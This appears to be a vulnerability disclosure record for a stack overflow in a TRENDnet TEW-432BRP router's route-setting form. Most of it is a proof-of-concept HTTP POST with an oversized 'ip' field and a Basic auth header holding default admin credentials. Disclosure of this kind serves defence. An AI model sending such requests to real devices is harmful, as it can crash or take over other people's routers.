| Title | TRENDnet TEW-432BRP 3.10B20 Stack-based Buffer Overflow |
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| Description | In formSetRoute function, ip、mask、gateway is directly passed by the attacker, If this part of the data is too long, it will cause the stack overflow, so we can control the ip、mask、gateway to execute arbitrary code.
POST /goform/formSetRoute HTTP/1.1
Host: 192.168.10.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 980
Origin: http://192.168.10.1
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Referer: http://192.168.10.1/routing_static.asp?t=1777300029926
Upgrade-Insecure-Requests: 1
edit_row=-1&ip=192.168.100.0 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&mask=x.x.x.x&gateway=192.168.10.50&iface=0&metric=1&add=Add&webpage=routing_static.asp&cur_ipaddr=192.168.10.1&cur_netmask=x.x.x.x&Action= |
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| Source | ⚠️ https://github.com/wudipjq/my_vuln/blob/main/TRENDnet/vuln_3/3.md |
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| User | pjqwudi_Buoy (UID 97665) |
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| Submission | 04/28/2026 09:06 (3 months ago) |
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| Moderation | 05/29/2026 10:20 (1 month later) |
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| Status | Accepted |
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| VulDB entry | 367148 [TRENDnet TEW-432BRP 3.10B20 /goform/formSetRoute ip/mask/gateway stack-based overflow] |
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| Points | 20 |
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